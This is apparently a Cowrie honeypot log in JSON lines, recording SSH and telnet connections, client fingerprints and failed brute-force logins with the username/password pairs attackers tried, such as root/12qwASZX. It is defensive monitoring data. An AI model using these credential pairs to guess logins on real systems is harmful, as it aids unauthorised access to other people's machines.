{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:13:21.088482Z","src_ip":"194.59.206.2","session":"8383337ad7da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":39330,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0a2f2f63a38","protocol":"ssh","message":"New connection: 157.230.18.133:39330 (159.203.135.109:22) [session: f0a2f2f63a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:13:41.356823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:13:41.361195Z","src_ip":"157.230.18.133","session":"f0a2f2f63a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:13:41.446834Z","src_ip":"157.230.18.133","session":"f0a2f2f63a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ddt","password":"123456","message":"login attempt [ddt/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:13:41.826077Z","src_ip":"157.230.18.133","session":"f0a2f2f63a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:13:42.914705Z","src_ip":"157.230.18.133","session":"f0a2f2f63a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":35410,"dst_ip":"159.203.135.109","dst_port":22,"session":"702534d6cd85","protocol":"ssh","message":"New connection: 199.192.25.149:35410 (159.203.135.109:22) [session: 702534d6cd85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:13:51.232027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:13:51.236252Z","src_ip":"199.192.25.149","session":"702534d6cd85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:13:51.298845Z","src_ip":"199.192.25.149","session":"702534d6cd85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brussels_belgium","password":"brussels123","message":"login attempt [brussels_belgium/brussels123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:13:51.487736Z","src_ip":"199.192.25.149","session":"702534d6cd85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:13:52.557240Z","src_ip":"199.192.25.149","session":"702534d6cd85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":33988,"dst_ip":"10.17.0.5","dst_port":22,"session":"17b71eb4195e","protocol":"ssh","message":"New connection: 101.32.145.199:33988 (10.17.0.5:22) [session: 17b71eb4195e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:00.069547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:00.073682Z","src_ip":"101.32.145.199","session":"17b71eb4195e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:00.321415Z","src_ip":"101.32.145.199","session":"17b71eb4195e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwASZX","message":"login attempt [root/12qwASZX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:01.340651Z","src_ip":"101.32.145.199","session":"17b71eb4195e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:02.604508Z","src_ip":"101.32.145.199","session":"17b71eb4195e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":56840,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a9e788185d1","protocol":"ssh","message":"New connection: 91.92.40.4:56840 (10.17.0.5:22) [session: 7a9e788185d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:02.879579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:02.896375Z","src_ip":"91.92.40.4","session":"7a9e788185d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:03.216738Z","src_ip":"91.92.40.4","session":"7a9e788185d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:03.630444Z","src_ip":"91.92.40.4","session":"7a9e788185d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:04.717542Z","src_ip":"91.92.40.4","session":"7a9e788185d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":60180,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2e30cf469ec","protocol":"ssh","message":"New connection: 194.113.233.25:60180 (10.17.0.5:22) [session: e2e30cf469ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:10.955234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:10.959441Z","src_ip":"194.113.233.25","session":"e2e30cf469ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:11.051781Z","src_ip":"194.113.233.25","session":"e2e30cf469ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"231119","message":"login attempt [root/231119] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:11.330020Z","src_ip":"194.113.233.25","session":"e2e30cf469ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:12.425324Z","src_ip":"194.113.233.25","session":"e2e30cf469ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45418,"dst_ip":"159.203.135.109","dst_port":23,"session":"a307bca76a20","protocol":"telnet","message":"New connection: 170.64.224.25:45418 (159.203.135.109:23) [session: a307bca76a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:24.524504Z"}
{"eventid":"cowrie.session.connect","src_ip":"222.108.100.117","src_port":60148,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a396c715c95","protocol":"ssh","message":"New connection: 222.108.100.117:60148 (10.17.0.5:22) [session: 8a396c715c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:28.442902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:28.446680Z","src_ip":"222.108.100.117","session":"8a396c715c95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:28.657634Z","src_ip":"222.108.100.117","session":"8a396c715c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lX123456","message":"login attempt [root/lX123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:29.539130Z","src_ip":"222.108.100.117","session":"8a396c715c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:30.754344Z","src_ip":"222.108.100.117","session":"8a396c715c95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52956,"dst_ip":"159.203.135.109","dst_port":23,"session":"aafc2a8199b2","protocol":"telnet","message":"New connection: 170.64.224.25:52956 (159.203.135.109:23) [session: aafc2a8199b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:38.310539Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":51102,"dst_ip":"159.203.135.109","dst_port":22,"session":"aadf00f6f956","protocol":"ssh","message":"New connection: 162.240.75.182:51102 (159.203.135.109:22) [session: aadf00f6f956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:48.766986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:48.770985Z","src_ip":"162.240.75.182","session":"aadf00f6f956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:48.861113Z","src_ip":"162.240.75.182","session":"aadf00f6f956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xvs456","message":"login attempt [root/xvs456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:49.126864Z","src_ip":"162.240.75.182","session":"aadf00f6f956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:50.217720Z","src_ip":"162.240.75.182","session":"aadf00f6f956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":36104,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d175db38704","protocol":"ssh","message":"New connection: 5.182.83.231:36104 (10.17.0.5:22) [session: 3d175db38704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:54.559370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:54.563961Z","src_ip":"5.182.83.231","session":"3d175db38704","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:54.673762Z","src_ip":"5.182.83.231","session":"3d175db38704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esunny","password":"esunny","message":"login attempt [esunny/esunny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:55.144013Z","src_ip":"5.182.83.231","session":"3d175db38704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:56.256777Z","src_ip":"5.182.83.231","session":"3d175db38704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":46542,"dst_ip":"10.17.0.5","dst_port":22,"session":"d749bcba7efe","protocol":"ssh","message":"New connection: 195.86.192.66:46542 (10.17.0.5:22) [session: d749bcba7efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:56.846523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:56.850247Z","src_ip":"195.86.192.66","session":"d749bcba7efe","protocol":"ssh"}
